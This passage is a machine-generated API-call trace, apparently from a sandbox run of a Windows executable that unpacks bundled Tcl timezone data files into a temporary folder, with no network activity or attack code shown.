(dwErrCode=0x2) [0043.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau", lpFilePart=0x0) returned 0x45 [0043.221] GetLastError () returned 0x2 [0043.221] SetLastError (dwErrCode=0x2) [0043.221] GetLastError () returned 0x2 [0043.221] SetLastError (dwErrCode=0x2) [0043.221] GetLastError () returned 0x2 [0043.221] SetLastError (dwErrCode=0x2) [0043.221] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau") returned 70 [0043.221] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\palau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.222] GetFileType (hFile=0x10c) returned 0x1 [0043.222] htonl (hostlong=0x91000000) returned 0x91 [0043.222] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.222] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0043.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.223] CloseHandle (hObject=0x10c) returned 1 [0043.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.223] htonl (hostlong=0x30000000) returned 0x30 [0043.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.223] GetFileType (hFile=0x10c) returned 0x1 [0043.223] htonl (hostlong=0x661f5d00) returned 0x5d1f66 [0043.223] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cf66, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.223] htonl (hostlong=0x98000000) returned 0x98 [0043.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0043.223] htonl (hostlong=0x98000000) returned 0x98 [0043.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.223] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.223] htonl (hostlong=0xb3000000) returned 0xb3 [0043.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x5608f0 [0043.223] htonl (hostlong=0x98000000) returned 0x98 [0043.223] htonl (hostlong=0xb3000000) returned 0xb3 [0043.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.224] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.224] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.224] CloseHandle (hObject=0x10c) returned 1 [0043.224] GetLastError () returned 0x0 [0043.224] SetLastError (dwErrCode=0x0) [0043.224] GetLastError () returned 0x0 [0043.224] SetLastError (dwErrCode=0x0) [0043.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.224] GetFileType (hFile=0x10c) returned 0x1 [0043.224] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.224] CloseHandle (hObject=0x10c) returned 1 [0043.224] GetLastError () returned 0x0 [0043.224] SetLastError (dwErrCode=0x0) [0043.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.225] GetFileType (hFile=0x10c) returned 0x1 [0043.225] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.225] CloseHandle (hObject=0x10c) returned 1 [0043.225] GetLastError () returned 0x0 [0043.225] SetLastError (dwErrCode=0x0) [0043.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.225] GetFileType (hFile=0x10c) returned 0x1 [0043.225] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.225] CloseHandle (hObject=0x10c) returned 1 [0043.226] GetLastError () returned 0x0 [0043.226] SetLastError (dwErrCode=0x0) [0043.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn") returned 73 [0043.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pitcairn"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.226] GetLastError () returned 0x2 [0043.226] SetLastError (dwErrCode=0x2) [0043.226] GetLastError () returned 0x2 [0043.226] SetLastError (dwErrCode=0x2) [0043.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn", lpFilePart=0x0) returned 0x48 [0043.226] GetLastError () returned 0x2 [0043.226] SetLastError (dwErrCode=0x2) [0043.226] GetLastError () returned 0x2 [0043.226] SetLastError (dwErrCode=0x2) [0043.226] GetLastError () returned 0x2 [0043.226] SetLastError (dwErrCode=0x2) [0043.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn") returned 73 [0043.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pitcairn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pitcairn"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.227] GetFileType (hFile=0x10c) returned 0x1 [0043.227] htonl (hostlong=0xb3000000) returned 0xb3 [0043.227] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.227] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0043.228] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.228] CloseHandle (hObject=0x10c) returned 1 [0043.228] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5608f0 | out: hHeap=0x530000) returned 1 [0043.228] htonl (hostlong=0x30000000) returned 0x30 [0043.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.228] GetFileType (hFile=0x10c) returned 0x1 [0043.228] htonl (hostlong=0xfe1f5d00) returned 0x5d1ffe [0043.228] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cffe, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.228] htonl (hostlong=0x8c000000) returned 0x8c [0043.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0043.228] htonl (hostlong=0x8c000000) returned 0x8c [0043.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.228] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.229] htonl (hostlong=0x94000000) returned 0x94 [0043.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0043.229] htonl (hostlong=0x8c000000) returned 0x8c [0043.229] htonl (hostlong=0x94000000) returned 0x94 [0043.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.229] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.229] CloseHandle (hObject=0x10c) returned 1 [0043.229] GetLastError () returned 0x0 [0043.229] SetLastError (dwErrCode=0x0) [0043.229] GetLastError () returned 0x0 [0043.229] SetLastError (dwErrCode=0x0) [0043.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.229] GetFileType (hFile=0x10c) returned 0x1 [0043.229] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.229] CloseHandle (hObject=0x10c) returned 1 [0043.230] GetLastError () returned 0x0 [0043.230] SetLastError (dwErrCode=0x0) [0043.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.230] GetFileType (hFile=0x10c) returned 0x1 [0043.230] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.230] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.230] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.230] CloseHandle (hObject=0x10c) returned 1 [0043.230] GetLastError () returned 0x0 [0043.230] SetLastError (dwErrCode=0x0) [0043.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.230] GetFileType (hFile=0x10c) returned 0x1 [0043.230] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.230] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.230] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.231] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.231] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.231] CloseHandle (hObject=0x10c) returned 1 [0043.231] GetLastError () returned 0x0 [0043.231] SetLastError (dwErrCode=0x0) [0043.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei") returned 72 [0043.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pohnpei"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.231] GetLastError () returned 0x2 [0043.231] SetLastError (dwErrCode=0x2) [0043.231] GetLastError () returned 0x2 [0043.231] SetLastError (dwErrCode=0x2) [0043.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei", lpFilePart=0x0) returned 0x47 [0043.231] GetLastError () returned 0x2 [0043.231] SetLastError (dwErrCode=0x2) [0043.231] GetLastError () returned 0x2 [0043.231] SetLastError (dwErrCode=0x2) [0043.231] GetLastError () returned 0x2 [0043.231] SetLastError (dwErrCode=0x2) [0043.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei") returned 72 [0043.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pohnpei" (normalized: 